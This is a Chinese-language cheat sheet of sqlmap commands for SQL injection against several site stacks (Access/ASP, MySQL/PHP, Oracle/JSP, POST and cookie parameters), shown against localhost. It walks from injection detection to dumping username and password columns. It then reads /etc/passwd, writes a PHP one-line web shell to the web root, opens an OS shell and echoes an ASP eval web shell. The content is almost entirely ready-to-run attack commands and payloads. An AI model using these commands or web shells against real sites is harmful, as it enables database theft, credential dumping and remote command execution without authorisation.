Access+asp网站

检测是否存在注入

sqlmap -u "http://127.0.0.1?id=1" -v 3

-v:详细登记(0-6,默认1)

0:只显示python错误以及重要信息
1:显示信息以及警告
2:显示debug消息
3:显示注入payload
4:显示http请求
5:显示http响应头
6:显示http响应内容

输出back-end DBMS:Microsoft Access再出输入上面的命令,则会有注入语句提示

获取表名

sqlmap -u "http://127.0.0.1?id=1" --tables

获取列名

sqlmap -u "http://127.0.0.1?id=1" --columns -T admin
# -T admin 指定表名

获取数据

sqlmap -u "http://127.0.0.1?id=1" --dump -C "username,password" -T admin

Mysql+php网站

检测是否存在注入

sqlmap -u "http://127.0.0.1?r=content&cid=3" -p cid -v 1
# -p 指定测试参数

获取当前用户和数据库名

sqlmap -u "http://127.0.0.1?r=content&cid=3" -p cid --current-user --current-db

获取表名

sqlmap -u "http://127.0.0.1?r=content&cid=3" -p cid --tables -D "admin"
# -D "admin" 指定admin的数据库

获取列名

sqlmap -u "http://127.0.0.1?r=content&cid=3" -p cid -T "mmanage" --columns -D "admin"

获取数据

sqlmap -u "http://127.0.0.1?r=content&cid=3" -p cid --dump -C "user,password" -T "mmanage" -D "admin"

Mysql+asp.net网站

检测是否存在注入

sqlmap -u "http://127.0.0.1?id=1" -v 3

获取当前用户和数据库名

sqlmap -u "http://127.0.0.1?id=1" --current-user --current-db

获取表名

sqlmap -u "http://127.0.0.1?id=1" --tables -D "admin"

获取列名

sqlmap -u "http://127.0.0.1?id=1" --columns -T "mmanage" -D "admin"

获取数据

sqlmap -u "http://127.0.0.1?id=1" --dump -C "username,password" -T "mmanage" -D "admin"

Orcale+jsp网站

检测是否存在注入

sqlmap -u "http://127.0.0.1/index.jsp?id=1" --dbms orcale -v 3
# --dbms orcale 指定数据库类型

获取当前用户和数据库名

sqlmap -u "http://127.0.0.1/index.jsp?id=1" --dbms orcale --current-user --current-db

获取表名

sqlmap -u "http://127.0.0.1/index.jsp?id=1" --dbms orcale --tables -D "admin"

获取列名

sqlmap -u "http://127.0.0.1/index.jsp?id=1" --dbms orcale --columns -T "mmanage" -D "admin"

获取数据

sqlmap -u "http://127.0.0.1/index.jsp?id=1" --dbms orcale --dump -C "username,password" -T "mmanage" -D "admin"

Post注入网站

检测是否存在注入

post信息

name=admin&sub=%E6%90%9C

sqlmap -u "http://127.0.0.1/index.php" --data "name=admin&sub=%E6%90%9C" -p name -v 3

获取当前用户和数据库名

sqlmap -u "http://127.0.0.1/index.php" --data "name=admin&sub=%E6%90%9C" --current-user --current-db -p name -v 3

如果是root用户,可以直接列出所有的数据库

sqlmap -u "http://127.0.0.1/index.php" --data "name=admin&sub=%E6%90%9C" --dbs -v 3

获取表名

sqlmap -u "http://127.0.0.1/index.php" --data "name=admin&sub=%E6%90%9C" --tables -D "admin" -p name -v 3

Cookie注入网站

sqlmap -u "http://127.0.0.1/index.jsp" --cookie "id=1" --level 2
# 指定测试等级,level>=2时才会检测cookie

获取数据

其他步骤和上面的一样

sqlmap -u "http://127.0.0.1/index.jsp" --cookie "id=1" --dump -C "username,password" -T "mmanage" -D "admin" --level 2

Mysql注入对网站读写操作

只有root用户才有权限

sqlmap -u "http://127.0.0.1/index.php?id=1" --file-read "/etc/passwd" -v 1
# 读取/etc/passwd文件内容

读取到的文件内容会保存在output文件夹里面

前提:要知道写入文件的路径,可以通过phpinfo,找到DOCUMENT_ROOT

先创建一个一句话木马的文件muma.php

<?php
system($_GET['cmd']);
?>
sqlmap -u "http://127.0.0.1/index.php?id=1" --file-write c:/muma.php --file-dest /www/web/default/simple/muma.php -v 1

Mysql交互式写shell和执行命令

前提:magic_autoes_gpc必须是关闭的才可以,phpinfo可以查看

需要root权限

有写的权限

sqlmap -u "http://127.0.0.1/index.php?id=1" --os-cmd=whoami

上面的这条命令效果不是很好,建议使用下面这条,但是会产生两个文件

sqlmap -u "http://127.0.0.1/index.php?id=1" --os-shell

os-shell中将一句话木马写入

echo ^<%eval request("#")%^>>d:\wwwroot\muma.asp